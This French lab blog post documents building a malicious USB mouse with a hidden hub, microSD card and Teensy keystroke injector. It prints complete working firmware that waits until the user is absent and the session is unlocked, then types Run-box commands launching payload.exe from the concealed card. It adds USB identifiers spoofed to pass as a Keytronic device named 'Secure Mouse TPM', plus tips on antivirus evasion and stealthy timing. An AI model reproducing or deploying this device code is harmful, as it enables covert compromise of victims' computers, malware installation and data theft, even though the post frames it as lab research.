Une souris USB malicieuse dopée au Teensy

Une souris USB malicieuse dopée au Teensy

Nous allons aujourd’hui étudier un périphérique malicieux que nous venons de développer dans notre lab : une souris USB.

Cette photo d’une souris modifiée par la société NETRAGARD circule sur Internet.

De quoi est faite cette souris un peu spéciale et à quoi peut-elle bien servir ?

Cette souris est composée de 4 éléments :

  1. Une souris Optique USB standard (OEM)
  2. Un hub USB 4 ports
  3. Un microprocesseur Teensy
  4. Un lecteur de cartes µSD USB

A quoi peut bien servir une telle souris ?

Cette souris peut servir à réaliser de nombreuses attaques :

  1. Un outil malicieux qui réalise des actions sur le poste de la victime (déplacement de la souris, frappes de touches au clavier).
  2. Le dépôt de virus ou trojan sur le poste de la victime (le code malveillant peut être téléchargé depuis Internet ou bien exécuté depuis la carte µSD).
  3. Compromettre le poste de l’utilisateur par la création d’un compte utilisateur sur ce dernier.
  4. Un système de collecte de données (exfiltration de fichiers sur la carte µSD intégrée).
  5. Un outil de marketing qui dirige l’utilisateur sur un site web lors de son branchement, ou lance un programme contenu sur la carte µSD.

La seule photo disponible sur Internet ne nous aide pas beaucoup pour concevoir notre propre souris malicieuse. Nous allons donc réaliser un diagramme des composants de cette souris.

Nous allons donc rechercher ces différents éléments avec comme critère une taille la plus réduite possible.

 Voici les éléments qui composeront notre souris de la gauche vers la droite :

Une souris USB Optique OEM
Un HUB USB 2 ports avec lecteur micro SD intégré
Un microprocesseur Teensy 2.0
Une carte micro SD 2GB

Construction de la souris :

Vue de dessous du HUB USB avec lecteur micro SD intégré.

Le cordon USB de la souris est coupé puis connecté au HUB USB.

Le port n°1 du HUB USB est ensuite reconnecté au circuit de la souris optique USB.

Le second port du HUB USB est connecté à un connecteur mini usb qui assurera le branchement au microcontrôleur Teensy 2.0.

La carte micro SD est insérée dans le lecteur intégré du HUB USB.

Vue de dessus du HUB USB.

Version finalisée de la souris USB malicieuse.

Maintenant que la souris est fonctionnelle, il faut lui définir son comportement malicieux.

Ceci est réalisé par la programmation du microprocesseur Teensy.

Des exemples de programmes pour ce microprocesseur peuvent facilement être trouvés sur Internet :

http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle

http://www.pjrc.com/teensy/td_keyboard.html

http://www.pjrc.com/teensy/td_mouse.html

Pour aller plus loin :

Voici une liste de problèmes/limitations qui sont apparus lors de l’utilisation de cette souris pour compromettre un poste :

  • Ne fonctionne que sur une gamme d’OS (Windows, Linux, MacOS, …) : le payload du teensy doit être conçu en fonction de l’OS ciblé (raccourcis claviers, outils, répertoires  différents).
  • Problème de détection d’une session locké.
  • Problème de détection de l’inactivité utilisateur.
  • Détection de certains payloads/scripts par l’antivirus du poste
  • Certaines actions ne sont pas furtives (détection du périphérique, 1er lancement de powershell).
  • Problème de langue de saisie (EN, FR, JP, …)

Pour le 1er point nous nous sommes focalisés uniquement sur les OS de type Windows (Win XP, Win7).

Pour le second point une astuce tirant partie de la carte SD intégrée à la souris a été employée.
En effet pour déterminer si la session est verrouillée le Teensy va lancer une commande (script VBS sur la carte microSD 2Go) à intervalles réguliers qui change l’état d’un témoin lumineux du clavier (par exemple « caps lock ») si la session est « lock », il n’est pas possible de lancer ce script, alors le témoin lumineux ne changera pas d’état, si le témoin lumineux a changé d’état, alors la session n’est pas « lock » et le teensy replace le témoin dans son état initial. Visuellement cela se traduit par un bref changement d’état (1 à 2 secondes) sur l’un des témoins lumineux du clavier quand la session n’est pas « lock ».

Pour le 3ème point de nombreuses techniques ont été répertoriés sur Internet, parmi celles-ci  on trouve :

  1. Le lancement du payload après une temporisation déterminée.
  2. La détection de l’environnement immédiat du Teensy (capteur de lumière, son, accéléromètre, …)
  3. L’ajout d’un composant de télécommande à distance (Bluetooth, IR, Wifi, …)
  4. Le phishing de l’utilisateur (changement du caps lock ou verr num).

Nous avons retenu la 4ème solution, plus simple à mettre en place et moins hasardeuse qu’une temporisation fixe.

Pour le 4ème point il faut utiliser un payload original (packer perso) et le tester sur différents antivirus (Ex virustotal.com).

Pour le 5ème point, il faut limiter le plus possible les tests (utiliser de grandes temporisations), utiliser le moins possible powershell (voir pas du tout).

Nous avons aussi changé les PID, VID du teensy dans usb_private.h pour qu’il soit reconnu comme un clavier/souris Keytronic les drivers sont reconnus par Windows nativement (cela évite une longue recherche du pilote sur Windows Update).

Nous avons aussi changé le nom du produit par « Secure Mouse TPM » pour ne pas trop éveiller les soupçons de l’utilisateur lors de la détection du périphérique .

Pour le 6ème point Nous avons placé le clavier en Français avec un code page en FR (il faut prier pour que le système cible soit en français, sinon c’est le FAIL).

Pour aller encore plus loin  (TO-DO):

A terme ce qui serait intéressant, serait de rassembler les fonctionnalités de la souris et du stockage sur carte SD directement sur le Teensy.

Ainsi :

  • La détection des périphériques sera plus rapide (pas de hub usb de souris HID en double).
  • il n’y aura plus besoin de hub USB.
  • le stockage de masse ne sera plus visible par l’OS mais géré par le Teensy (HID mass storage ou RAW USB).
  • Le Microprocesseur teensy pourra en plus détecter l’absence de l’utilisateur par l’absence de mouvements de la souris.
  • La consommation électrique sera plus réduite (pas de hub usb, pas de souris usb complète).

Ceci sera prochainement traité dans un prochain papier 😉

Annexes :
Voici le code complet du Teensy en C arduino :

#include « usb_private.h »

#include « usb_api.h »

/*

The following is Irongeek’s code to do simple keyboard/mouse functions with the Teensy, including

something like U3 functionality that will work even if autorun is disabled.

http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle

To learn more about Teensyduino see:

http://www.pjrc.com/teensy/teensyduino.html

http://www.arduino.cc/en/Reference/HomePage

Look in arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_api.h for key definitions

Edit arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_private.h to change USB Vendor and Product ID

Modification By NES (avanetti_at_nes.fr) 2011/10

*/

int ledPin = 11;

int COLD_INIT = 0;

int PAYLOAD_STARTED = 0;

unsigned long LastTimerCheck = millis();

unsigned long loop_count = 0;

unsigned long max_loop_count = 1;

// unsigned long max_minutes_count = 5;

// The setup() method runs once, when the sketch starts

void setup() {

// initialize the digital pin as an output:

delay(3000);  // safe guard

pinMode(ledPin, OUTPUT);

}

// the loop() method runs over and over again,

// as long as the Arduino has power

void loop()

{

while (!usb_configuration) {  // Wait for USB to be ready

BlinkLed();

delay(3000);

COLD_INIT = 1;

BlinkLed();

delay(3000);

}

while (!usb_configuration) {  // Wait for USB to be ready

BlinkLed();

delay(1000);

COLD_INIT = 1;

BlinkLed();

delay(1000);

}

digitalWrite(ledPin, HIGH);

if (((millis() – LastTimerCheck) >= (1000 + random(0,59000))) && !PAYLOAD_STARTED) {

loop_count++;

if (loop_count > (max_loop_count + 1)) {

loop_count = 0;

if (!isWinLock()) {

if (!isUserPresent()) {

start_payload();

PAYLOAD_STARTED = 1;

}

delay(30000);  // wait longer be more sneaky

}

delay(30000); // wait longer be more sneaky

}

LastTimerCheck = millis();

}

delay(100);

digitalWrite(ledPin, LOW); // set the LED off

delay(100); //keeps commands from being sent one after the other too fast

}

void BlinkLed(){

int BlinkCounter=0;

for (BlinkCounter=0; BlinkCounter!=10; BlinkCounter++){

digitalWrite(ledPin, HIGH);

delay(50);

digitalWrite(ledPin, LOW); // set the LED off

delay(50);

}

}

void CommandAtRunBar(char *SomeCommand){

bool cps_state=isCapsLockOn();

if (cps_state) {   // If caps lock is ON set it OFF

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(50); // let buffer settle

}

digitalWrite(ledPin, HIGH); // set the LED on

Keyboard.set_modifier(128); //Windows key

Keyboard.set_key1(KEY_R); // use r key

Keyboard.send_now(); // send strokes

delay(50); // let buffer settle

Keyboard.set_modifier(0); //prep release of control keys

Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.

Keyboard.send_now(); //Send the key changes

delay(50); // let buffer settle

Keyboard.print(SomeCommand);

delay(200); // let buffer settle

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

delay(50); // let buffer settle

Keyboard.set_key1(0);

Keyboard.send_now();

delay(50); // let buffer settle

digitalWrite(ledPin, LOW); // set the LED off

if (cps_state) {  // If caps lock was ON set it back to ON

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(50); // let buffer settle

}

}

void PressAndRelease(int KeyCode,int KeyCount){

int KeyCounter=0;

for (KeyCounter=0; KeyCounter!=KeyCount; KeyCounter++){

Keyboard.set_key1(KeyCode); // use r key

Keyboard.send_now(); // send strokes

delay(50); // let buffer settle

Keyboard.set_key1(0);

Keyboard.send_now(); // send strokes

delay(50); // let buffer settle

}

}

int isUserPresent() {

bool initial_state=isCapsLockOn();

bool new_state;

bool final_state;

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(100); // let buffer settle

new_state=isCapsLockOn();

if (new_state == initial_state) { return 1; } // probleme le caps lock n’a pas change …

for (int t=0; t<15; t++) {  // 15 tests => 15 secondes

delay(1000); // attendre 1 seconde

final_state=isCapsLockOn();

if (final_state != new_state) { return 1; } // changement de l’etat du caps lock par l’utilisateur !

}  // 15 tests OK

// on remet le caps lock dans son état précédent

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(50); // let buffer settle

return 0; // pas de changement (utilisateur absent ?)

}

int isWinLock() {

bool initial_state=isCapsLockOn();

bool new_state;

bool final_state;

CommandAtRunBar(« cmd /c for /F %i in (‘WMIC logicaldisk where \ »DriveType=2\ » list brief ^| find \ »NESMOUSE\ »‘) do %i\\tc.vbs »);

delay(5000); // wait 5 sec for program to run / or not

new_state=isCapsLockOn();

if (new_state == initial_state) {

return 1; // le caps lock n’a pas change … (la session Windows est lock)

} else {

Keyboard.set_key1(KEY_CAPS_LOCK);  // push caps lock

Keyboard.send_now();

Keyboard.set_key1(0); // release caps lock

Keyboard.send_now();

delay(50); // let buffer settle

return 0;  // le caps lock a pas changé … (la session Windows n’est pas lock)

}

return 1; // on ne doit pas arriver ici normalement !

}

// Checks if the NUM is on

bool isNumLockOn() {

return bitRead(int(keyboard_leds), 0);

}

// Checks if the CAPS is on

bool isCapsLockOn() {

return bitRead(int(keyboard_leds), 1);

}

// Release the key

void sendNull() {

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

delay(50); // let buffer settle

}

void start_payload() {

CommandAtRunBar(« cmd /c for /F %i in (‘WMIC logicaldisk where \ »DriveType=2\ » list brief ^| find \ »NESMOUSE\ »‘) do %i\\payload.exe »);

delay(5000);

BlinkLed();

}


Voici le code de usb_private.h modifié :

// Modification By NES (avanetti_at_nes.fr) 2011/10

#ifndef usb_serial_h__

#define usb_serial_h__

#include <stdint.h>

#ifdef __cplusplus

extern « C »{

#endif

/**************************************************************************

*

*  Configurable Options

*

**************************************************************************/

/*

VID 0446 PID 6781  DeviceDesc= »NMB USB Keyboard Mouse »

VID 05FA PID 3301  DeviceDesc= »STSL USB Keyboard Mouse »

VID 05FA PID 3303  DeviceDesc= »STSL USB Keyboard Mouse »

VID 05d5 PID 6782  DeviceDesc= »SUPERGATE USB Keyboard Mouse »

VID 04F2 PID 0001  DeviceDesc= »Chicony USB Keyboard Mouse »

VID 03F9 PID 0102  DeviceDesc= »Key Tronic USB Keyboard Mouse »

VID 046E PID 6782  DeviceDesc= »BTC USB Keyboard Mouse »

VID 05B2 PID 7200  DeviceDesc= »Focus USB Keyboard Mouse »

*/

// Keytronic Keyb / Mouse

#define VENDOR_ID               0x03F9

#define PRODUCT_ID              0x0102

// Silitek Keyb / Mouse

// #define VENDOR_ID               0x047B

// #define PRODUCT_ID              0x0002

// Acer Keyb / Mouse

// #define VENDOR_ID               0x04A5

// #define PRODUCT_ID              0x0003

// Cypress Keyb / Mouse

// #define VENDOR_ID               0x04B4

// #define PRODUCT_ID              0x8329

// Samsung Keyb / Mouse

// #define VENDOR_ID               0x055D

// #define PRODUCT_ID              0x6781

// Monterey International Keyb / Mouse

// #define VENDOR_ID               0x0566

// #define PRODUCT_ID              0x2801

// Ortek Technology

// #define VENDOR_ID               0x05A4

// #define PRODUCT_ID              0x9720

// Fingerworks

// #define VENDOR_ID               0x0E97

// #define PRODUCT_ID              0x0908

// HP

// #define VENDOR_ID               0x03F0

// #define PRODUCT_ID              0x1027

// Microsoft Keyboard

// #define VENDOR_ID               0x045E

// #define PRODUCT_ID              0x000B

// Broadcom Secure Keyboard

// #define VENDOR_ID               0x0A5C

// #define PRODUCT_ID              0x5803

// #define VENDOR_ID               0x16C0

// #define PRODUCT_ID              0x0482

#define TRANSMIT_FLUSH_TIMEOUT  4   /* in milliseconds */

#define TRANSMIT_TIMEOUT        25   /* in milliseconds */

/**************************************************************************

*

*  Endpoint Buffer Configuration

*

**************************************************************************/

// These buffer sizes are best for most applications, but perhaps if you

// want more buffering on some endpoint at the expense of others, this

// is where you can make such changes.  The AT90USB162 has only 176 bytes

// of DPRAM (USB buffers) and only endpoints 3 & 4 can double buffer.

// 0: control                     32     64

// 1: debug IN                          64     64×2

// 2: debug OUT                         32     32×2

// 3: keyboard IN                 8×2    8×2

// 4: mouse + joystick IN  (IDs)  8×2    8×2

// 5: midi IN                           64×2

// 6: midi OUT                                 64×2

#if defined(__AVR_ATmega32U4__) || defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__)

#define STR_PRODUCT             L »Secure Mouse TPM »

#define ENDPOINT0_SIZE          64

#define DEBUG_INTERFACE           2

#define DEBUG_TX_ENDPOINT  1

#define DEBUG_TX_SIZE             64

#define DEBUG_TX_BUFFER           EP_DOUBLE_BUFFER

#define DEBUG_TX_INTERVAL  1

#define DEBUG_RX_ENDPOINT  2

#define DEBUG_RX_SIZE             32

#define DEBUG_RX_BUFFER           EP_DOUBLE_BUFFER

#define DEBUG_RX_INTERVAL  2

#define KEYBOARD_INTERFACE 0

#define KEYBOARD_ENDPOINT  3

#define KEYBOARD_SIZE             8

#define KEYBOARD_BUFFER           EP_DOUBLE_BUFFER

#define KEYBOARD_INTERVAL  1

#define MOUSE_INTERFACE           1

#define MOUSE_ENDPOINT            4

#define MOUSE_SIZE         8

#define MOUSE_BUFFER              EP_DOUBLE_BUFFER

#define MOUSE_INTERVAL            1

// #define MIDI_INTERFACE         3

// #define MIDI_TX_ENDPOINT       5

// #define MIDI_TX_SIZE           64

// #define MIDI_TX_BUFFER         EP_DOUBLE_BUFFER

// #define MIDI_RX_ENDPOINT       6

// #define MIDI_RX_SIZE           64

// #define MIDI_RX_BUFFER         EP_DOUBLE_BUFFER

#define NUM_ENDPOINTS             6

// #define NUM_ENDPOINTS          7

#define NUM_INTERFACE             3

// TODO: implement MIDI

//#define STR_PRODUCT           L » Secure Mouse TPM »

//#define NUM_INTERFACE           4

#elif defined(__AVR_AT90USB162__)

#define STR_PRODUCT             L »Secure Mouse TPM »

#define ENDPOINT0_SIZE          32

#define DEBUG_INTERFACE           2

#define DEBUG_TX_ENDPOINT  1

#define DEBUG_TX_SIZE             64

#define DEBUG_TX_BUFFER           EP_SINGLE_BUFFER

#define DEBUG_TX_INTERVAL  2

#define DEBUG_RX_ENDPOINT  2

#define DEBUG_RX_SIZE             32

#define DEBUG_RX_BUFFER           EP_SINGLE_BUFFER

#define DEBUG_RX_INTERVAL  8

#define KEYBOARD_INTERFACE 0

#define KEYBOARD_ENDPOINT  3

#define KEYBOARD_SIZE             8

#define KEYBOARD_BUFFER           EP_DOUBLE_BUFFER

#define KEYBOARD_INTERVAL  1

#define MOUSE_INTERFACE           1

#define MOUSE_ENDPOINT            4

#define MOUSE_SIZE         8

#define MOUSE_BUFFER              EP_DOUBLE_BUFFER

#define MOUSE_INTERVAL            8

#define NUM_ENDPOINTS             5

// #define NUM_ENDPOINTS          3

#define NUM_INTERFACE             3

#endif

// setup

void usb_init(void);                    // initialize everything

void usb_shutdown(void);          // shut off USB

// variables

extern volatile uint8_t usb_configuration;

extern volatile uint8_t usb_suspended;

extern volatile uint8_t debug_flush_timer;

extern uint8_t keyboard_modifier_keys;

extern uint8_t keyboard_keys[6];

extern uint8_t keyboard_idle_count;

extern volatile uint8_t keyboard_leds;

extern uint8_t mouse_buttons;

#ifdef __cplusplus

} // extern « C »

#endif

#endif

 


Voici le code du script tc.vbs (Toggle Caps Lock), ceci est juste du test 😉 :

 

‘ Created By NES (avanetti_at_nes.fr) 2011/10

Set wshShell =wscript.CreateObject(« WScript.Shell »)

wshshell.sendkeys « {CAPSLOCK} »